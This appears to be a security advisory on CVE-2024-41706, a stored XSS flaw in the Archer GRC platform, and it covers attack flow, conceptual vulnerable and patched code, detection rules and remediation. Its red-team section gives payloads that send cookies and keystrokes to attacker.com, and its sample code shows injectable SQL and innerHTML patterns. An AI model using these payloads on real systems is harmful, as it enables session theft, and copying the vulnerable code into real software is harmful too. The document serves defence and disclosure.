CVE-2024-41706

Executive Summary

CVE-2024-41706 is a stored cross-site scripting (XSS) vulnerability in the Archer Platform, versions prior to 2024.06 and 6.14 P4 (6.14.0.4). A remote authenticated attacker with malicious intent can inject arbitrary HTML or JavaScript code into a trusted application data store. When victim users access this data store through their browsers, the injected code executes in the context of the vulnerable application, potentially leading to session hijacking, data theft, or further compromise. The vulnerability has a CVSS score of 7.3 (High) and an EPSS score of 0.0%, indicating low exploitation likelihood at this time. No public proof-of-concept (PoC) or exploit code is available.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects the proprietary Archer Platform, a commercial governance, risk, and compliance (GRC) solution.

CVSS Breakdown & Threat Level

• CVSS Score: 7.3 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Attack Vector (AV): Network – The vulnerability is exploitable remotely over the network.
• Attack Complexity (AC): Low – No special conditions are required for exploitation.
• Privileges Required (PR): Low – The attacker must have valid Archer user credentials.
• User Interaction (UI): Required – The victim must access the malicious data store.
• Scope (S): Changed – The impact extends beyond the vulnerable component.
• Confidentiality (C): Low – Limited data exposure possible.
• Integrity (I): Low – Limited data modification possible.
• Availability (A): Low – Limited service disruption possible.

Threat Level: High. While the EPSS score is low, the potential for targeted attacks against Archer users (e.g., GRC professionals) is significant.

Deep Dive & Mechanics

The vulnerability resides in the Archer Platform's data store functionality. The application fails to properly sanitize user-supplied input before storing it in the data store. When a victim user retrieves and views this data via their browser, the stored malicious HTML or JavaScript is executed.

Root Cause: Insufficient input validation and output encoding. The application does not escape or sanitize HTML/JavaScript content before persisting it in the database and later rendering it in the browser.

Attack Flow:

1. Authentication: The attacker authenticates to the Archer Platform with valid credentials.
2. Injection: The attacker crafts a malicious payload (e.g., <script>alert('XSS')</script>) and submits it to a data store field (e.g., a report name, description, or custom field).
3. Storage: The payload is stored in the application's database without sanitization.
4. Trigger: A victim user (e.g., another Archer user or administrator) accesses the data store containing the malicious payload.
5. Execution: The victim's browser renders the payload, executing the attacker's code in the context of the Archer application.

Impact: The attacker can steal session cookies, perform actions on behalf of the victim, deface the application, or redirect users to malicious sites.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// Server-side: Storing user input without sanitization
function saveDataStoreEntry(userInput) {
    db.query("INSERT INTO datastore (content) VALUES ('" + userInput + "')");
}

// Client-side: Rendering stored data without encoding
function renderDataStoreEntry(entry) {
    document.getElementById("content").innerHTML = entry.content;
}

Patched Code (Conceptual):

// Server-side: Sanitize input before storage
function saveDataStoreEntry(userInput) {
    var sanitizedInput = sanitizeHtml(userInput); // e.g., using DOMPurify
    db.query("INSERT INTO datastore (content) VALUES (?)", [sanitizedInput]);
}

// Client-side: Encode output before rendering
function renderDataStoreEntry(entry) {
    var safeContent = document.createTextNode(entry.content);
    document.getElementById("content").appendChild(safeContent);
}

Key Differences:

• Input sanitization (server-side) and output encoding (client-side) are implemented.
• Database queries use parameterized statements to prevent SQL injection.
• The innerHTML property is replaced with safe DOM manipulation methods.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• Valid Archer user credentials (low-privileged account).
• Network access to the Archer Platform web interface.

Exploitation Steps:

1. Log in to the Archer Platform.
2. Navigate to a data store entry point (e.g., "Create Report" or "Add Custom Field").
3. Inject a malicious payload into a text field. Example payload:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

4. Submit the form to store the payload.
5. Wait for a victim user to access the compromised data store entry.
6. The victim's browser executes the script, sending their session cookie to the attacker's server.

Alternative Payloads:

• Session hijacking: <img src=x onerror="document.location='https://attacker.com/steal?c='+document.cookie">
• Keylogging: <script>document.onkeypress=function(e){fetch('https://attacker.com/key?k='+e.key)}</script>

Blue Team (Defender)

Detection Steps:

1. Monitor for unusual data store entries containing HTML/JavaScript tags.
2. Review web server logs for requests to suspicious external domains (e.g., attacker-controlled servers).
3. Use the detection rules provided in the Detection Engineering section.

Hunting Queries:

• Search database for stored XSS patterns: SELECT * FROM datastore WHERE content LIKE '%<script%' OR content LIKE '%onerror%'
• Analyze network traffic for outbound connections to unknown IPs/domains.

Mitigation:

• Apply the vendor patch (upgrade to version 2024.06 or 6.14.0.4).
• Implement a Web Application Firewall (WAF) rule to block XSS payloads.
• Enforce Content Security Policy (CSP) headers to restrict script execution.

Indicators of Compromise (IOCs)

Network IOCs:

• Outbound HTTP/HTTPS requests to attacker-controlled domains (e.g., attacker.com, evil.com).
• Suspicious Referer headers pointing to Archer data store pages.

Host IOCs:

• Browser console errors indicating blocked CSP or mixed content.
• Unexpected cookies set by malicious scripts.

Application IOCs:

• Database entries containing <script>, <img onerror>, or other HTML event handlers.
• Unusual user activity logs (e.g., multiple failed login attempts from the same IP).

File IOCs:

• No specific file-based IOCs; the attack is purely web-based.

Detection Engineering

YARA Rule

rule CVE_2024_41706_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Archer Platform data store"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-41706"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /<[^>]+onerror\s*=[^>]*>/is
        $xss3 = /<[^>]+onload\s*=[^>]*>/is
        $xss4 = /javascript\s*:/is
    condition:
        any of ($xss*)
}

Sigma Rule

title: Stored XSS in Archer Platform Data Store
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts in Archer Platform data store entries
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: archer
detection:
    selection:
        http.method: POST
        http.url|contains: "/datastore/save"
        http.body|contains|all:
            - "<script"
            - "onerror"
            - "onload"
    condition: selection
falsepositives:
    - Legitimate use of HTML in data store (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-41706 Stored XSS Payload in Archer Data Store"; flow:to_server,established; content:"POST"; http_method; content:"/datastore/save"; http_uri; pcre:"/<script[^>]*>.*?<\/script>/i"; pcre:"/onerror\s*=/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Patch: Upgrade to Archer Platform version 2024.06 or 6.14 P4 (6.14.0.4) as soon as possible.
2. WAF Rules: Deploy WAF rules to block common XSS patterns (e.g., <script>, onerror, javascript:).
3. CSP: Implement a strict Content Security Policy to prevent inline script execution. Example:

   Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'
   

Long-Term Measures:

1. Input Validation: Implement server-side input sanitization using libraries like DOMPurify or OWASP Java Encoder.
2. Output Encoding: Use context-aware output encoding (e.g., HTML entity encoding) for all user-supplied data.
3. Security Training: Educate developers on secure coding practices, especially regarding XSS prevention.
4. Regular Audits: Conduct periodic security assessments and code reviews.

Workarounds (if patching is delayed):

• Disable the data store feature temporarily.
• Restrict access to the data store to trusted users only.
• Monitor logs for suspicious activity.

Valters IT